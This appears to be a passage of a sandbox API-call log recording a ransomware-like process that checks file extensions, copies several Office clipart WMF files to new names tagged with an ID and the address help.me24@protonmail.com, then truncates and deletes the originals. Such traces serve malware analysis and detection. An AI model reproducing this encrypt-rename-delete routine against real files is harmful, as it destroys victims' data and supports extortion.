	[0085.582] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.582] lstrlenW (lpString=".docx") returned 5
	[0085.582] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.582] lstrlenW (lpString=".pdf") returned 4
	[0085.582] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.582] lstrlenW (lpString=".xls") returned 4
	[0085.582] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.582] lstrlenW (lpString=".xlsx") returned 5
	[0085.582] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.582] lstrlenW (lpString=".ppt") returned 4
	[0085.582] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68
	[0085.582] lstrlenW (lpString=".zip") returned 4
	[0085.582] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.582] lstrlenW (lpString=".rar") returned 4
	[0085.582] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.582] lstrlenW (lpString=".bz2") returned 4
	[0085.582] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.582] lstrlenW (lpString=".7z") returned 3
	[0085.582] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68
	[0085.583] lstrlenW (lpString=".dbf") returned 4
	[0085.583] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68
	[0085.583] lstrlenW (lpString=".1cd") returned 4
	[0085.583] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68
	[0085.583] lstrlenW (lpString=".jpg") returned 4
	[0085.583] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68
	[0085.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68
	[0085.583] lstrlenW (lpString=".doc") returned 4
	[0085.583] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.583] lstrlenW (lpString=".docx") returned 5
	[0085.583] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.583] lstrlenW (lpString=".pdf") returned 4
	[0085.583] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.583] lstrlenW (lpString=".xls") returned 4
	[0085.583] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.583] lstrlenW (lpString=".xlsx") returned 5
	[0085.583] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.583] lstrlenW (lpString=".ppt") returned 4
	[0085.583] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68
	[0085.583] lstrlenW (lpString=".zip") returned 4
	[0085.583] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.583] lstrlenW (lpString=".rar") returned 4
	[0085.584] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.584] lstrlenW (lpString=".bz2") returned 4
	[0085.584] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.584] lstrlenW (lpString=".7z") returned 3
	[0085.584] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68
	[0085.584] lstrlenW (lpString=".dbf") returned 4
	[0085.584] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68
	[0085.889] lstrlenW (lpString=".1cd") returned 4
	[0085.889] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68
	[0085.889] lstrlenW (lpString=".jpg") returned 4
	[0085.889] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.912] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0085.912] lstrlenW (lpString="BL00392_.WMF") returned 12
	[0085.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0085.916] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=27050) returned 1
	[0085.916] CloseHandle (hObject=0x2bc) returned 1
	[0085.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf")) returned 0x220
	[0085.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0085.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0085.917] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.917] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0085.917] GetLastError () returned 0x0
	[0085.917] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x69aa, lpOverlapped=0x0) returned 1
	[0085.919] WriteFile (in: hFile=0x38c, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x69b0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x69b0, lpOverlapped=0x0) returned 1
	[0085.921] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.921] WriteFile (in: hFile=0x38c, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.921] SetEndOfFile (hFile=0x38c) returned 1
	[0085.921] CloseHandle (hObject=0x38c) returned 1
	[0085.923] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.923] SetEndOfFile (hFile=0x2bc) returned 1
	[0085.924] CloseHandle (hObject=0x2bc) returned 1
	[0085.924] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0085.924] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf")) returned 1
	[0085.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68
	[0085.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68
	[0085.924] lstrlenW (lpString=".doc") returned 4
	[0085.924] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.924] lstrlenW (lpString=".docx") returned 5
	[0085.924] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.924] lstrlenW (lpString=".pdf") returned 4
	[0085.924] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.924] lstrlenW (lpString=".xls") returned 4
	[0085.924] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.925] lstrlenW (lpString=".xlsx") returned 5
	[0085.925] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.925] lstrlenW (lpString=".ppt") returned 4
	[0085.925] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68
	[0085.925] lstrlenW (lpString=".zip") returned 4
	[0085.925] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.925] lstrlenW (lpString=".rar") returned 4
	[0085.925] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.925] lstrlenW (lpString=".bz2") returned 4
	[0085.925] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.925] lstrlenW (lpString=".7z") returned 3
	[0085.925] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68
	[0085.925] lstrlenW (lpString=".dbf") returned 4
	[0085.925] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68
	[0085.925] lstrlenW (lpString=".1cd") returned 4
	[0085.925] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68
	[0085.925] lstrlenW (lpString=".jpg") returned 4
	[0085.925] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68
	[0085.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68
	[0085.925] lstrlenW (lpString=".doc") returned 4
	[0085.925] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.925] lstrlenW (lpString=".docx") returned 5
	[0085.925] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.925] lstrlenW (lpString=".pdf") returned 4
	[0085.925] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.925] lstrlenW (lpString=".xls") returned 4
	[0085.925] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.926] lstrlenW (lpString=".xlsx") returned 5
	[0085.926] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.926] lstrlenW (lpString=".ppt") returned 4
	[0085.926] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68
	[0085.926] lstrlenW (lpString=".zip") returned 4
	[0085.926] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.926] lstrlenW (lpString=".rar") returned 4
	[0085.926] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.926] lstrlenW (lpString=".bz2") returned 4
	[0085.926] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.926] lstrlenW (lpString=".7z") returned 3
	[0085.926] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68
	[0085.926] lstrlenW (lpString=".dbf") returned 4
	[0085.926] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68
	[0085.926] lstrlenW (lpString=".1cd") returned 4
	[0085.926] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68
	[0085.926] lstrlenW (lpString=".jpg") returned 4
	[0085.926] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.926] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0085.926] lstrlenW (lpString="BL00524_.WMF") returned 12
	[0085.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0085.927] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=6996) returned 1
	[0085.927] CloseHandle (hObject=0x2bc) returned 1
	[0085.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf")) returned 0x220
	[0085.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0085.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0085.927] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.927] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0085.928] GetLastError () returned 0x0
	[0085.928] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x1b54, lpOverlapped=0x0) returned 1
	[0085.930] WriteFile (in: hFile=0x38c, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x1b60, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1b60, lpOverlapped=0x0) returned 1
	[0085.931] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.931] WriteFile (in: hFile=0x38c, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.931] SetEndOfFile (hFile=0x38c) returned 1
	[0085.931] CloseHandle (hObject=0x38c) returned 1
	[0085.933] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.933] SetEndOfFile (hFile=0x2bc) returned 1
	[0085.933] CloseHandle (hObject=0x2bc) returned 1
	[0085.934] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0085.934] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf")) returned 1
	[0085.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68
	[0085.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68
	[0085.934] lstrlenW (lpString=".doc") returned 4
	[0085.934] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.934] lstrlenW (lpString=".docx") returned 5
	[0085.934] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.934] lstrlenW (lpString=".pdf") returned 4
	[0085.934] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.934] lstrlenW (lpString=".xls") returned 4
	[0085.934] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.934] lstrlenW (lpString=".xlsx") returned 5
	[0085.934] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.934] lstrlenW (lpString=".ppt") returned 4
	[0085.934] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68
	[0085.934] lstrlenW (lpString=".zip") returned 4
	[0085.935] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.935] lstrlenW (lpString=".rar") returned 4
	[0085.935] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.935] lstrlenW (lpString=".bz2") returned 4
	[0085.935] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.935] lstrlenW (lpString=".7z") returned 3
	[0085.935] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68
	[0085.935] lstrlenW (lpString=".dbf") returned 4
	[0085.935] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68
	[0085.935] lstrlenW (lpString=".1cd") returned 4
	[0085.935] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68
	[0085.935] lstrlenW (lpString=".jpg") returned 4
	[0085.935] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68
	[0085.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68
	[0085.935] lstrlenW (lpString=".doc") returned 4
	[0085.935] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.935] lstrlenW (lpString=".docx") returned 5
	[0085.935] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.935] lstrlenW (lpString=".pdf") returned 4
	[0085.935] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.935] lstrlenW (lpString=".xls") returned 4
	[0085.935] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.935] lstrlenW (lpString=".xlsx") returned 5
	[0085.935] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.935] lstrlenW (lpString=".ppt") returned 4
	[0085.935] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68
	[0085.935] lstrlenW (lpString=".zip") returned 4
	[0085.936] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.936] lstrlenW (lpString=".rar") returned 4
	[0085.936] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.936] lstrlenW (lpString=".bz2") returned 4
	[0085.936] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.936] lstrlenW (lpString=".7z") returned 3
	[0085.936] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68
	[0085.936] lstrlenW (lpString=".dbf") returned 4
	[0085.936] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68
	[0085.936] lstrlenW (lpString=".1cd") returned 4
	[0085.936] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68
	[0085.936] lstrlenW (lpString=".jpg") returned 4
	[0085.936] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.936] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0085.936] lstrlenW (lpString="BL00525_.WMF") returned 12
	[0085.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0085.936] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=9590) returned 1
	[0085.937] CloseHandle (hObject=0x2bc) returned 1
	[0085.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf")) returned 0x220
	[0085.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0085.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0085.937] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.937] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0085.937] GetLastError () returned 0x0
	[0085.937] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x2576, lpOverlapped=0x0) returned 1
	[0085.939] WriteFile (in: hFile=0x38c, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2580, lpOverlapped=0x0) returned 1
	[0085.940] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.940] WriteFile (in: hFile=0x38c, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.940] SetEndOfFile (hFile=0x38c) returned 1
	[0085.940] CloseHandle (hObject=0x38c) returned 1
	[0085.941] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.941] SetEndOfFile (hFile=0x2bc) returned 1
	[0085.942] CloseHandle (hObject=0x2bc) returned 1
	[0085.942] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0085.943] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf")) returned 1
